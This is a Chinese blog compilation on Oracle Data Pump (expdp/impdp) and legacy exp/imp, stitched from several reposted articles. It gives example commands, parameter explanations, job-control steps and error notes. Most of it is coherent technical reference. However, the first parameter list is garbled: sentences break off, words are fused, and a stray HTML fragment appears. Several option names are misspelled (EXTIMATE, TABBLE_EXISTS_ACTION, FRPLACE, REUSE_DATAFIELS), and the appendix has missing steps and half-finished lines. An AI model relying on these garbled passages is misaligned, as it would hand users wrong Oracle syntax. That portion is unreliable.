当前位置:   article > 正文

oracle expdp impdp_数据将附加到现有表, 但是将跳过所有相关元数据

数据将附加到现有表, 但是将跳过所有相关元数据
学ORACLE10G有两个多月了,前面一直是看书查资料,今天想动手做个试验,检验一下前面学习的效果。就从数据库导入导出开始吧!

      Oracle10g以前数据导入导出提供有imp/exp命令,10g以后提供了新的导入导出命令expdp/impdp。虽然exp/imp已经很好用了,但是唯一的确定是速度太慢,如果1张表的数据有个百千万的,常常导入导出就长时间停在这个表这,但是从Oracle 10g开始提供了称为数据泵新的工具expdp/impdp,它为Oracle数据提供高速并行及大数据的迁移。唯一的区别是:imp/exp可以在客户端调用,但是expdp/impdp只能在服务端,并且生成的备份文件只能存在服务器里面。文笔水平有限,不多罗嗦开始写具体的例子,以备以后之用。

    实现目的:把WANGLIPO用户下的所有对象导入到新建用户EXPDPTEST用户。

    步骤:

          1:创建EXPDPTEST用户。因为还不习惯命令操作直接在客户端上进行创建;

          2:创建逻辑目录,最好以SYSYTEM等管理员创建。由于该命令不会在操作系统上创建真正的目录,所以要直接手动创建一个同名的目录,同时确保该目录可读写操作。命令:create directory dump_test as '/u01/oracle10g';(select * from dba_directories;可以查看已存在的所有目录)

        3:给EXPDPTEST用户赋予在指定目录的操作权限。最好以SYSTEM等管理员赋予。命令:grant read, write on directory dump_test to expdptest

        4:按用户导出,命令如下:

               expdp wanglipo/111111@orcl schemas=wanglipo dumpfile=expdp.dmp DIRECTORY=dump_test;

             导出结束后会生成数据文件和日志文件

          5:开始导入同样按用户导入命令如下:

               REMAP_SCHEMA=wanglipo:expdptest;

 

               --impdp expdptest/111111@orcl DIRECTORY=dump_test DUMPFILE=expdp.dmp REMAP_SCHEMA=wanglipo:expdptest remap_tablespace=wanglipo:expdptest ;  --从wanglipo 表空间导入到expdptest表空间

                   --impdp  expdptest/111111@orcl DIRECTORY=dump_test DUMPFILE=expdp.dmp tables=wanglipo.a  REMAP_SCHEMA=wanglipo:expdptest

                REMAP_TABLE=wanglipo.a:b  --导入时可以把表重命名,表a重命名b  --oracle11才支持

               remap_tablespace=wanglipo:expdptest ;  --从wanglipo 表空间导入到expdptest表空间


          impdpwanglipo/111111@orcl DIRECTORY=dump_test DUMPFILE=expdp.dmp TABLES=t_table11:P4 logfile=imp_p4.log table_exists_action=append  --由于附加了 table_exists_action, 数据将附加到现有表但是将跳过所有相关元数据。


当需要停止是可以执行下面方式:

  首先启动impdp执行导出操作
 注意,这里可以指定一个job_name,这个名称将是你数据库中创建的MT表的名称,如果忽略,Oracle会自动命名
 
  $ expdp eygleeygle directory=dpdata dumpfile=full.dmp full=y job_name=expfull
 
  Export Release 10.1.0.2.0 - 64bit Production on Monday, 26 April, 2004 1945
 
  ok,在此,你可以通过ctrl + c,退出当前交互模式退出之后,导出操作不会停止这不同于Oracle以前的exp以前的exp,如果退出交互模式,就会出错终止导出任务在10g,由于expdp是数据库内部定义的任务已经与客户端无关.

  退出交互之后,会进入export的命令行模式此时支持status等察看命令

 
 如果此时,想要停止该任务可以发出stop_job命令,确认后停止

   当导入或者导出过程中出错时,这样在dba_datapump_jobs会产生一些记录,可以使用以下命令看到

     select * from dba_datapump_jobs;

  此时我们可以看到对应的JOB_NAME,清除时请按以下步骤:

   1. 复制刚才看到的JOB_NAME,例如:SCHEMAS_SCOTT2,然后执行:

        drop table SCHEMAS_SCOTT2;

   2.再执行

     select * from dba_datapump_jobs;

    此时JOB_NAME的名称已经变了,我这个例子变成了:BIN$CZhED4gTTr2qb9bbX8esaw==$0

    这时执行以下sql:

   purge table  "BIN$CZhED4gTTr2qb9bbX8esaw==$0";

 

   这样就已经处理好了。

    远程操作当网络断开后,可以通过IMPDP wanglipo/111111@orcl attach=JOB_NAME  连接到JOB


  

附录一些资料:

create directory dpdata1 as 'd:/test/dump';

二、查看管理理员目录(同时查看操作系统是否存在,因为Oracle并不关心该目录是否存在,如果不存在,则出错)
grant read,write on directory dpdata1 to scott;

四、导出数据

parallel





1)导到指定用户下impdp scott/tiger DIRECTORY=dpdata1 DUMPFILE=expdp.dmp SCHEMAS=scott;
2)改变表的impdp system/manager DIRECTORY=dpdata1 DUMPFILE=expdp.dmp TABLES=scott.dept REMAP_SCHEMA=scott:system;
3)导入表空间impdp system/manager DIRECTORY=dpdata1 DUMPFILE=tablespace.dmp TABLESPACES=example;
4)导入数据库impdb system/manager DIRECTORY=dump_dir DUMPFILE=full.dmp FULL=y;
5)追加数据impdp system/manager DIRECTORY=dpdata1 DUMPFILE=expdp.dmp SCHEMAS=system TABLE_EXISTS_ACTION=append;

----------------------------Expdp/Impdp的相关参数----------------------------


1. ATTACH
该选项用于在客户会话与已存在导出作用之间建立关联
ATTACH=[schema_name.]job_name
Schema_name用于指定方案名.注意ATTACH选项ATTACH选项外,示例如下.默认值为CONTENT为,将导出对象定义及其所有数据DATA_ONLY时,为,只导出对象定义CONTENT=METADATA_ONLY

DIRECTORY=directory_object
Directory_object用于指定目录对象名称,目录对象是使用,而不是
Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dump
建立目录:
SELECT * FROM dba_directories;
4. DUMPFILE
用于指定转储文件的名称expdat.dmp
DUMPFILE=[directory_object:]file_name [,….]
Directory_object用于指定目录对象名.需要注意directory_object,导出工具会自动使用
Expdp scott/tiger DIRECTORY=dump1 DUMPFILE=dump2:a.dmp
5. ESTIMATE
指定估算被导出表所占用磁盘空间分方法BLOCKS
EXTIMATE={BLOCKS | STATISTICS}
设置为,oracle会按照目标对象所占用的数据块个数乘以数据块尺寸估算对象占用的空间STATISTICS时
Expdp scott/tiger TABLES=emp ESTIMATE=STATISTICS
DIRECTORY=dump DUMPFILE=a.dump
6. EXTIMATE_ONLY
指定是否只估算导出作业所占用的磁盘空间N
EXTIMATE_ONLY={Y | N}
设置为,导出作用只估算对象所占用的磁盘空间,为,不仅估算对象所占用的磁盘空间.
Expdp scott/tiger ESTIMATE_ONLY=y NOLOGFILE=y
7. EXCLUDE
该选项用于指定执行操作时释放要排除对象类型或相关对象Object_type,name_clause用于指定要排除的具体对象INCLUDE不能同时使用,默认为)
9. FLASHBACK_SCN
指定导出特定
FLASHBACK_SCN=scn_value
Scn_value用于标识.FLASHBACK_SCN和
Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp
FLASHBACK_SCN=358523
10. FLASHBACK_TIME
指定导出特定时间点的表数据Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp FLASHBACK_TIME=
“TO_TIMESTAMP(’25-08-2004 14:35:00’,’DD-MM-YYYY HH24:MI:SS’)”

" p="" style="MARGIN: 0cm 0cm 0pt" class="MsoNormal" font="" size="2" strong="" style="mso-bidi-font-weight: normal" font="" face="">11. FULL
指定数据库模式导出N
FULL={Y | N}
为,标识执行数据库导出EXPDP命令行选项的帮助信息N
当设置为,会显示导出选项的帮助信息
INCLUDE = object_type[:name_clause] [,… ]
14. JOB_NAME
指定要导出作用的名称SYS_XXX
JOB_NAME=jobname_string
15. LOGFILE
指定导出日志文件文件的名称export.log
LOGFILE=[directory_object:]file_name
Directory_object用于指定目录对象名称.如果不指定DIRECTORY的相应选项值,如果要将远程数据库对象导出到本地例程的转储文件中.
17. NOLOGFILE
该选项用于指定禁止生成导出日志文件N.
18. PARALLEL
指定执行导出操作的并行进程个数1
19. PARFILE
指定导出参数文件的名称where条件Schema ,table_name用于指定表名.QUERY选项不能与.
Expdp scott/tiger directory=dump dumpfiel=a.dmp
Tables=emp query=’WHERE deptno=20’
21. SCHEMAS
该方案用于指定执行方案模式导出.
22. STATUS
指定显示导出作用进程的详细状态0
23. TABLES
指定表模式导出Schema_name,table_name用于指定导出的表名.
24. TABLESPACES
指定要导出表空间列表,默认为Y时,如果表空间所在表空间或其索引所在的表空间只有一个表空间被搬移.当设置为, 导出作用只检查单端依赖,但未搬移表所在表空间,如果搬移表所在表空间,则不会显示错误信息
27. VERSION
指定被导出对象的数据库版本COMPATIBLE.
VERSION={COMPATIBLE | LATEST | version_string}
为,会根据初始化参数;为,会根据数据库的实际版本生成对象元数据.调用EXPDP工具时DIRECTORY对象对应的,而不能直接指定转储文件所在的.因此EXPDP工具时DIRECTORY对象DIRECTORY对象权限Data Pump 反映了整个导出 SQL 命令,而是应用专用direct path api etc) 来以更快得多的速度加载和卸载数据。 expdp
例子:
$expdp ananda/abc123 tables=CASES directory=DPDATA1
dumpfile=expCASES_%U.dmp parallel=4 job_name=Cases_Export

include/exclude 例子:include=table:"like '%E%'"
或者exclude=SEQUENCE,TABLE:"IN ('EMP','DEPT')"

2.Data Pump 导入
1)从 exp.dmp
2)复制某个数据库中的一个
3) 在同一个数据库中把一个schema中。

1)impdp 的数据源是DMP文件
2)schema到另一个数据库中。database_link,test 需要 只能低版本向高版本
3) schema中所有的对象复制到另一个

--1.创建连接自己的
create public database link system_self connect to system identified by "system" using 'orcl';

数据库链接已创建。hr schema到
impdp system/system network_link=system_self schema

 

 

 

http://blog.csdn.net/wanglipo/article/details/5913498

 

 

1.我在expdp整个用户的数据时应该没问题,但是却在导出某张表的时候,频频报错,后来发现在写脚本时注意最后的分号!
testuser/********@cid directory=dumpdir dumpfile=testuserStudent.dmp logfile=expdpstudent.log tables=student;
这个分号的结果就是您去debug半天,,,总是报错如下:
启动 "TESTUSER"."SYS_EXPORT_TABLE_01":  testuser/********@cid directory=dumpdir dumpfile=testuserStudent.dmp logfile=expdpstudent.log tables=student;
正在使用 BLOCKS 方法进行估计...
处理对象类型 TABLE_EXPORT/TABLE/TABLE_DATA
使用 BLOCKS 方法的总估计: 0 KB
ORA-39166: 找不到对象 STUDENT;。
ORA-31655: 尚未为作业选择数据或元数据对象
作业 "TESTUSER"."SYS_EXPORT_TABLE_01" 已经完成, 但是有 2 个错误 (于 00:01:50 完成)

expdp介绍

EXPDP命令行选项
1. ATTACH
该选项用于在客户会话与已存在导出作用之间建立关联.语法如下
ATTACH=[schema_name.]job_name
Schema_name用于指定方案名,job_name用于指定导出作业名.注意,如果使用ATTACH选项,在命令行除了连接字符串和ATTACH选项外,不能指定任何其他选项,示例如下:
Expdp scott/tiger ATTACH=scott.export_job

2. CONTENT
该选项用于指定要导出的内容.默认值为ALL
CONTENT={ALL | DATA_ONLY | METADATA_ONLY}
当设置CONTENT为ALL时,将导出对象定义及其所有数据.为DATA_ONLY时,只导出对象数据,为METADATA_ONLY时,只导出对象定义
Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dump CONTENT=METADATA_ONLY

3. DIRECTORY
指定转储文件和日志文件所在的目录
DIRECTORY=directory_object
Directory_object用于指定目录对象名称.需要注意,目录对象是使用CREATE DIRECTORY语句建立的对象,而不是OS目录
Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dump

4. DUMPFILE
用于指定转储文件的名称,默认名称为expdat.dmp
DUMPFILE=[directory_object:]file_name [,….]
Directory_object用于指定目录对象名,file_name用于指定转储文件名.需要注意,如果不指定directory_object,导出工具会自动使用DIRECTORY选项指定的目录对象
Expdp scott/tiger DIRECTORY=dump1 DUMPFILE=dump2:a.dmp

5. ESTIMATE
指定估算被导出表所占用磁盘空间分方法.默认值是BLOCKS
ESTIMATE={BLOCKS | STATISTICS}
设置为BLOCKS时,oracle会按照目标对象所占用的数据块个数乘以数据块尺寸估算对象占用的空间,设置为STATISTICS时,根据最近统计值估算对象占用空间
Expdp scott/tiger TABLES=emp ESTIMATE=STATISTICS DIRECTORY=dump DUMPFILE=a.dump

6. ESTIMATE_ONLY
指定是否只估算导出作业所占用的磁盘空间,默认值为N
EXTIMATE_ONLY={Y | N}
设置为Y时,导出作用只估算对象所占用的磁盘空间,而不会执行导出作业,为N时,不仅估算对象所占用的磁盘空间,还会执行导出操作.
Expdp scott/tiger ESTIMATE_ONLY=y NOLOGFILE=y

7. EXCLUDE(具体见2、Exclude导出用户中指定类型的指定对象)
该选项用于指定执行操作时释放要排除对象类型或相关对象
EXCLUDE=object_type[:name_clause] [,….]
Object_type用于指定要排除的对象类型,name_clause用于指定要排除的具体对象.EXCLUDE和INCLUDE不能同时使用
Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dup EXCLUDE=VIEW

8. FILESIZE
指定导出文件的最大尺寸,默认为0,(表示文件尺寸没有限制)

9. FLASHBACK_SCN
指定导出特定SCN时刻的表数据
FLASHBACK_SCN=scn_value
Scn_value用于标识SCN值.FLASHBACK_SCN和FLASHBACK_TIME不能同时使用
Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp FLASHBACK_SCN=358523

10. FLASHBACK_TIME
指定导出特定时间点的表数据
FLASHBACK_TIME=”TO_TIMESTAMP(time_value)”
Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp FLASHBACK_TIME=“TO_TIMESTAMP(’25-08-2004 14:35:00’,’DD-MM-YYYY HH24:MI:SS’)”

11. FULL
指定数据库模式导出,默认为N
FULL={Y | N}
为Y时,标识执行数据库导出.

12. HELP
指定是否显示EXPDP命令行选项的帮助信息,默认为N
当设置为Y时,会显示导出选项的帮助信息.
Expdp help=y

13. INCLUDE(具体见1、Include导出用户中指定类型的指定对象)
指定导出时要包含的对象类型及相关对象
INCLUDE = object_type[:name_clause] [,… ]

14. JOB_NAME
指定要导出作用的名称,默认为SYS_XXX
JOB_NAME=jobname_string
SELECT * FROM DBA_DATAPUMP_JOBS;--查看存在的job

15. LOGFILE
指定导出日志文件文件的名称,默认名称为export.log
LOGFILE=[directory_object:]file_name
Directory_object用于指定目录对象名称,file_name用于指定导出日志文件名.如果不指定directory_object.导出作用会自动使用DIRECTORY的相应选项值.
Expdp scott/tiger DIRECTORY=dump DUMPFILE=a.dmp logfile=a.log

16. NETWORK_LINK
指定数据库链名,如果要将远程数据库对象导出到本地例程的转储文件中,必须设置该选项.
如:expdp gwm/gwm directory=dir_dp NETWORK_LINK=igisdb tables=p_street_area dumpfile =p_street_area.dmp logfile=p_street_area.log     job_name=my_job
igisdb是目的数据库与源数据的链接名,
dir_dp是目的数据库上的目录
而如果直接用使用连接字符串(@fgisdb),expdp属于服务端工具,expdp生成的文件默认是存放在服务端的

17. NOLOGFILE
该选项用于指定禁止生成导出日志文件,默认值为N.

18. PARALLEL
指定执行导出操作的并行进程个数,默认值为1
注:并行度设置不应该超过CPU数的2倍,如果cpu为2个,可将PARALLEL设为2,在导入时速度比PARALLEL为1要快
    而对于导出的文件,如果PARALLEL设为2,导出文件只有一个,导出速度提高不多,因为导出都是到同一个文件,会争抢资源。所以可以设置导出文件为两个,如下所示:
    expdp gwm/gwm directory=d_test dumpfile=gwmfile1.dp,gwmfile2.dp parallel=2

19. PARFILE
指定导出参数文件的名称
PARFILE=[directory_path] file_name

20. QUERY
用于指定过滤导出数据的where条件
QUERY=[schema.] [table_name:] query_clause
Schema用于指定方案名,table_name用于指定表名,query_clause用于指定条件限制子句.QUERY选项不能与CONNECT=METADATA_ONLY,EXTIMATE_ONLY,TRANSPORT_TABLESPACES等选项同时使用.
Expdp scott/tiger directory=dump dumpfile=a.dmp Tables=emp query=’WHERE deptno=20’

21. SCHEMAS
该方案用于指定执行方案模式导出,默认为当前用户方案.

22. STATUS
指定显示导出作用进程的详细状态,默认值为0

23. TABLES
指定表模式导出
TABLES=[schema_name.]table_name[:partition_name][,…]
Schema_name用于指定方案名,table_name用于指定导出的表名,partition_name用于指定要导出的分区名.

24. TABLESPACES
指定要导出表空间列表

25. TRANSPORT_FULL_CHECK
该选项用于指定被搬移表空间和未搬移表空间关联关系的检查方式,默认为N.
当设置为Y时,导出作用会检查表空间直接的完整关联关系,如果表空间所在表空间或其索引所在的表空间只有一个表空间被搬移,将显示错误信息.当设置为N时,导出作用只检查单端依赖,如果搬移索引所在表空间,但未搬移表所在表空间,将显示出错信息,如果搬移表所在表空间,未搬移索引所在表空间,则不会显示错误信息.

26. TRANSPORT_TABLESPACES
指定执行表空间模式导出

27. VERSION
指定被导出对象的数据库版本,默认值为COMPATIBLE.
VERSION={COMPATIBLE | LATEST | version_string}
为COMPATIBLE时,会根据初始化参数COMPATIBLE生成对象元数据;为LATEST时,会根据数据库的实际版本生成对象元数据.version_string用于指定数据库版本字符串.调用EXPDP

数据泵工具导出的步骤:
1、创建DIRECTORY
create directory dir_dp as 'D:\oracle\dir_dp';
2、授权
Grant read,write on directory dir_dp to lttfm;
--查看目录及权限
SELECT privilege, directory_name, DIRECTORY_PATH FROM user_tab_privs t, all_directories d
 WHERE t.table_name(+) = d.directory_name ORDER BY 2, 1;
3、执行导出
expdp lttfm/lttfm@fgisdb schemas=lttfm directory=dir_dp dumpfile =expdp_test1.dmp logfile=expdp_test1.log;

连接到: Oracle Database 10g Enterprise Edition Release 10.2.0.1
With the Partitioning, OLAP and Data Mining options
启动 "LTTFM"."SYS_EXPORT_SCHEMA_01":  lttfm/********@fgisdb sch
ory=dir_dp dumpfile =expdp_test1.dmp logfile=expdp_test1.log;  */
备注:
   1、directory=dir_dp必须放在前面,如果将其放置最后,会提示 ORA-39002: 操作无效
                                                             ORA-39070: 无法打开日志文件。
                                                             ORA-39087: 目录名 DATA_PUMP_DIR; 无效
     
   2、在导出过程中,DATA DUMP 创建并使用了一个名为SYS_EXPORT_SCHEMA_01的对象,此对象就是DATA DUMP导出过程中所用的JOB名字,如果在执行这个命令时如果没有指定导出的JOB名字那么就会产生一个默认的JOB名字,如果在导出过程中指定JOB名字就为以指定名字出现
     如下改成:
     expdp lttfm/lttfm@fgisdb schemas=lttfm directory=dir_dp dumpfile =expdp_test1.dmp logfile=expdp_test1.log,job_name=my_job1;
   3、导出语句后面不要有分号,否则如上的导出语句中的job表名为‘my_job1;’,而不是my_job1。因此导致expdp lttfm/lttfm attach=lttfm.my_job1执行该命令时一直提示找不到job表
   4、创建的目录一定要在数据库所在的机器上。否则也是提示:

ORA-39002: 操作无效
 ORA-39070: 无法打开日志文件。
ORA-39087: 目录名 DATA_PUMP_DIR; 无效


 

 

导出的相关命令使用:
   1)Ctrl+C组合键:在执行过程中,可以按Ctrl+C组合键退出当前交互模式,退出之后,导出操作不会停止
   2)Export> status               --查看当前JOB的状态及相关信息
   3)Export> stop_job             --暂停JOB(暂停job后会退出expor模式)
   4)重新进入export模式下:C:\Documents and Settings\Administrator>expdp lttfm/lttfm attach=lttfm.my_job1 --语句后面不带分号
   5)Export> start_job            --打开暂停的JOB(并未开始重新执行)
   6)Export> continue_client      --通过此命令重新启动 "LTTFM"."MY_JOB":
   7)Export> kill_job             --取消当前的JOB并释放相关客户会话(将job删除同时删除dmp文件)
   8)Export> exit_client          --通过此命令退出export模式(通过4)可再进入export模式下)
 注:导出完成后job自动卸载

数据泵导出的各种模式:
1、按表模式导出:
expdp lttfm/lttfm@fgisdb  tables=lttfm.b$i_exch_info,lttfm.b$i_manhole_info dumpfile =expdp_test2.dmp logfile=expdp_test2.log directory=dir_dp job_name=my_job

2、按查询条件导出:
expdp lttfm/lttfm@fgisdb  tables=lttfm.b$i_exch_info dumpfile =expdp_test3.dmp logfile=expdp_test3.log directory=dir_dp job_name=my_job query='"where rownum<11"'

3、按表空间导出:
Expdp lttfm/lttfm@fgisdb dumpfile=expdp_tablespace.dmp tablespaces=GCOMM.DBF logfile=expdp_tablespace.log directory=dir_dp job_name=my_job

4、导出方案
Expdp lttfm/lttfm DIRECTORY=dir_dp DUMPFILE=schema.dmp SCHEMAS=lttfm,gwm

5、导出整个数据库:
expdp lttfm/lttfm@fgisdb dumpfile =full.dmp full=y logfile=full.log directory=dir_dp job_name=my_job


使用exclude,include导出数据
1、Include导出用户中指定类型的指定对象
--仅导出lttfm用户下以B开头的所有表,包含与表相关的索引,备注等。不包含过程等其它对象类型:
expdp lttfm/lttfm@fgisdb dumpfile=include_1.dmp logfile=include_1.log directory=dir_dp job_name=my_job include=TABLE:\"LIKE \'B%\'\"

--导出lttfm用户下排除B$开头的所有表:
expdp lttfm/lttfm@fgisdb schemas=lttfm dumpfile=include_1.dmp logfile=include_1.log directory=dir_dp job_name=my_job include=TABLE:\"NOT LIKE \'B$%\'\"

--仅导出lttfm用户下的所有存储过程:
expdp lttfm/lttfm@fgisdb schemas=lttfm dumpfile=include_1.dmp logfile=include_1.log directory=dir_dp job_name=my_job include=PROCEDURE;   

2、Exclude导出用户中指定类型的指定对象
--导出lttfm用户下除TABLE类型以外的所有对象,如果表不导出那么与表相关的索引,约束等与表有关联的对象类型也不会被导出:
expdp lttfm/lttfm@fgisdb schemas=lttfm dumpfile=exclude_1.dmp logfile=exclude_1.log directory=dir_dp job_name=my_job exclude=TABLE;

--导出lttfm用户下排除B$开头的所有表:
expdp lttfm/lttfm@fgisdb dumpfile=include_1.dmp logfile=include_1.log directory=dir_dp job_name=my_job exclude=TABLE:\"LIKE\'b$%\'\";

--导出lttfm用户下的所有对象,但是对于表类型只导出以b$开头的表:
expdp lttfm/lttfm@fgisdb dumpfile=include_1.dmp logfile=include_1.log directory=dir_dp job_name=my_job exclude=TABLE:\"NOT LIKE \'b$%\'\";


IMPDP介绍

IMPDP命令行选项与EXPDP有很多相同的,不同的有:
1、REMAP_DATAFILE
该选项用于将源数据文件名转变为目标数据文件名,在不同平台之间搬移表空间时可能需要该选项.
REMAP_DATAFIEL=source_datafie:target_datafile

2、REMAP_SCHEMA
该选项用于将源方案的所有对象装载到目标方案中.
REMAP_SCHEMA=source_schema:target_schema

3、REMAP_TABLESPACE
将源表空间的所有对象导入到目标表空间中
REMAP_TABLESPACE=source_tablespace:target:tablespace

4、REUSE_DATAFILES
该选项指定建立表空间时是否覆盖已存在的数据文件.默认为N
REUSE_DATAFIELS={Y | N}

5、SKIP_UNUSABLE_INDEXES
指定导入是是否跳过不可使用的索引,默认为N

6、SQLFILE
指定将导入要指定的索引DDL操作写入到SQL脚本中
SQLFILE=[directory_object:]file_name
Impdp scott/tiger DIRECTORY=dump DUMPFILE=tab.dmp SQLFILE=a.sql

7、STREAMS_CONFIGURATION
指定是否导入流元数据(Stream Matadata),默认值为Y.

8、TABLE_EXISTS_ACTION
该选项用于指定当表已经存在时导入作业要执行的操作,默认为SKIP
TABBLE_EXISTS_ACTION={SKIP | APPEND | TRUNCATE | FRPLACE }
当设置该选项为SKIP时,导入作业会跳过已存在表处理下一个对象;当设置为APPEND时,会追加数据,为TRUNCATE时,导入作业会截断表,然后为其追加新数据;当设置为REPLACE时,导入作业会删除已存在表,重建表病追加数据,注意,TRUNCATE选项不适用与簇表和NETWORK_LINK选项

9、TRANSFORM
该选项用于指定是否修改建立对象的DDL语句
TRANSFORM=transform_name:value[:object_type]
Transform_name用于指定转换名,其中SEGMENT_ATTRIBUTES用于标识段属性(物理属性,存储属性,表空间,日志等信息),STORAGE用于标识段存储属性,VALUE用于指定是否包含段属性或段存储属性,object_type用于指定对象类型.
Impdp scott/tiger directory=dump dumpfile=tab.dmp Transform=segment_attributes:n:table

10、TRANSPORT_DATAFILES
该选项用于指定搬移空间时要被导入到目标数据库的数据文件
TRANSPORT_DATAFILE=datafile_name
Datafile_name用于指定被复制到目标数据库的数据文件
Impdp system/manager DIRECTORY=dump DUMPFILE=tts.dmp
TRANSPORT_DATAFILES=’/user01/data/tbs1.f’调用IMPDP


impdp导入模式:
1、按表导入
p_street_area.dmp文件中的表,此文件是以gwm用户按schemas=gwm导出的:
impdp gwm/gwm@fgisdb  dumpfile =p_street_area.dmp logfile=imp_p_street_area.log directory=dir_dp tables=p_street_area job_name=my_job

2、按用户导入(可以将用户信息直接导入,即如果用户信息不存在的情况下也可以直接导入)
impdp gwm/gwm@fgisdb schemas=gwm dumpfile =expdp_test.dmp logfile=expdp_test.log directory=dir_dp job_name=my_job

3、不通过expdp的步骤生成dmp文件而直接导入的方法:
--从源数据库中向目标数据库导入表p_street_area
impdp gwm/gwm directory=dir_dp NETWORK_LINK=igisdb tables=p_street_area logfile=p_street_area.log  job_name=my_job
igisdb是目的数据库与源数据的链接名,dir_dp是目的数据库上的目录

4、更换表空间
  采用remap_tablespace参数
  --导出gwm用户下的所有数据
expdp system/orcl directory=data_pump_dir dumpfile=gwm.dmp SCHEMAS=gwm
注:如果是用sys用户导出的用户数据,包括用户创建、授权部分,用自身用户导出则不含这些内容
--以下是将gwm用户下的数据全部导入到表空间gcomm(原来为gmapdata表空间下)下
impdp system/orcl directory=data_pump_dir dumpfile=gwm.dmp remap_tablespace=gmapdata:gcomm


exp与imp
exp的关键字说明:
关键字   说明 (默认值)        
------------------------------
USERID   用户名/口令            
BUFFER   数据缓冲区大小         
FILE     输出文件 (EXPDAT.DMP)  
COMPRESS  导入到一个区 (Y)      
GRANTS    导出权限 (Y)          
INDEXES   导出索引 (Y)          
DIRECT    直接路径 (N)  --直接导出速度较快        
LOG      屏幕输出的日志文件      
ROWS      导出数据行 (Y)        
CONSISTENT 交叉表的一致性 (N)   
FULL        导出整个文件 (N)
OWNER      所有者用户名列表
TABLES     表名列表
RECORDLENGTH   IO记录的长度
INCTYPE     增量导出类型
RECORD       跟踪增量导出 (Y)
TRIGGERS     导出触发器 (Y)
STATISTICS    分析对象 (ESTIMATE)
PARFILE      参数文件名
CONSTRAINTS  导出的约束条件 (Y)
OBJECT_CONSISTENT    只在对象导出期间设置为只读的事务处理 (N)
FEEDBACK             每 x 行显示进度 (0)
FILESIZE             每个转储文件的最大大小
FLASHBACK_SCN        用于将会话快照设置回以前状态的 SCN
FLASHBACK_TIME       用于获取最接近指定时间的 SCN 的时间
QUERY                用于导出表的子集的 select 子句
RESUMABLE            遇到与空格相关的错误时挂起 (N)
RESUMABLE_NAME       用于标识可恢复语句的文本字符串
RESUMABLE_TIMEOUT    RESUMABLE 的等待时间
TTS_FULL_CHECK       对 TTS 执行完整或部分相关性检查
TABLESPACES          要导出的表空间列表
TRANSPORT_TABLESPACE 导出可传输的表空间元数据 (N)
TEMPLATE             调用 iAS 模式导出的模板名

常用的exp关键字

1、full用于导出整个数据库,在rows=n一起使用,导出整个数据库的结构。
   如:exp userid=gwm/gwm file=/test.dmp log=test.log full=y rows=n direct=y
2、OWNER和TABLES,用于定义exp导出的对象
   如:exp userid=gwm/gwm file=/test.dmp log=test.log owner=gwm table=(table1,table2)
3、buffer和feedback 若导出数据较大,考虑使用这两个参数。
   如:exp userid=gwm/gwm file=/test.dmp log=test.log feedback=10000 buffer=100000000 tables=(table1,table2)
4、file和log 用于指定备份的dmp名称和log名称
5、compress 不压缩导出数据的内容,默认y
6、filesize 若导出的数据文件大,应该用该参数,限制文件大小不要超过2g
   如:exp userid=gwm/gwm file=/test1,test2,test3,test4,test5 filesize=2G log=test.log
       这样将创建test1.dmp,test2.dmp等,每个文件大小为2g。

 

 imp关键字说明
关键字   说明 (默认值)        关键字      说明 (默认值)
-------------------------------------------------------------
USERID   用户名/口令           FULL       导入整个文件 (N)
BUFFER   数据缓冲区大小        FROMUSER    所有者用户名列表
FILE     输入文件 (EXPDAT.DMP)  TOUSER     用户名列表
SHOW     只列出文件内容 (N)     TABLES      表名列表
IGNORE   忽略创建错误 (N)    RECORDLENGTH  IO 记录的长度
GRANTS   导入权限 (Y)          INCTYPE     增量导入类型
INDEXES   导入索引 (Y)         COMMIT       提交数组插入 (N)
ROWS     导入数据行 (Y)        PARFILE      参数文件名
LOG     屏幕输出的日志文件    CONSTRAINTS    导入限制 (Y)

DESTROY                覆盖表空间数据文件 (N)
INDEXFILE              将表/索引信息写入指定的文件
SKIP_UNUSABLE_INDEXES  跳过不可用索引的维护 (N)
FEEDBACK               每 x 行显示进度 (0)
TOID_NOVALIDATE        跳过指定类型 ID 的验证
FILESIZE               每个转储文件的最大大小
STATISTICS             始终导入预计算的统计信息
RESUMABLE              在遇到有关空间的错误时挂起 (N)
RESUMABLE_NAME         用来标识可恢复语句的文本字符串
RESUMABLE_TIMEOUT      RESUMABLE 的等待时间
COMPILE                编译过程, 程序包和函数 (Y)
STREAMS_CONFIGURATION  导入流的一般元数据 (Y)
STREAMS_INSTANTIATION  导入流实例化元数据 (N)

下列关键字仅用于可传输的表空间
TRANSPORT_TABLESPACE 导入可传输的表空间元数据 (N)
TABLESPACES 将要传输到数据库的表空间
DATAFILES 将要传输到数据库的数据文件
TTS_OWNERS 拥有可传输表空间集中数据的用户

 备注:

INCTYPE     增量导入类型 该参数到9i已废弃,我使用的是oracle11g做的实验,发现该参数已无法使用。如下实验所示:
C:\Users\thinkpad>imp fyzh_ora/FYZH_ORA file=rm_trs_seg.dmp log=rm_trs_seg.log f
romuser=ltwebgis inctype=restore

Import: Release 11.1.0.7.0 - Production on 星期二 1月 10 22:18:14 2012
Copyright (c) 1982, 2007, Oracle.  All rights reserved.
连接到: Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
经由常规路径由 EXPORT:V10.02.01 创建的导出文件
警告: 这些对象由 LTWEBGIS 导出, 而不是当前用户
已经完成 ZHS16GBK 字符集和 AL16UTF16 NCHAR 字符集中的导入
IMP-00021: INCTYPE 参数已废弃
IMP-00083: 转储文件中不包含增量导出
IMP-00000: 未成功终止导入

 

http://www.cnblogs.com/lanzi/archive/2011/01/06/1927731.html

 

 

 

 

Oracle Database 10g引入了最新的数据泵(Data Dump)技术,使DBA或开发人员可以将数据库元数据(对象定义)和数据快速移动到另一个oracle数据库中.

数据泵导出导入(EXPDP和IMPDP)的作用
1,实现逻辑备份和逻辑恢复.
2,在数据库用户之间移动对象.
3,在数据库之间移动对象
4,实现表空间搬移.


数据泵导出导入与传统导出导入的区别

在10g之前,传统的导出和导入分别使用EXP工具和IMP工具,从10g开始,不仅保留了原有的EXP和IMP工具,还提供了数据泵导出导入工具EXPDP和IMPDP.使用EXPDP和IMPDP时应该注意的事项;
EXP和IMP是客户段工具程序,它们既可以在可以客户端使用,也可以在服务端使用.
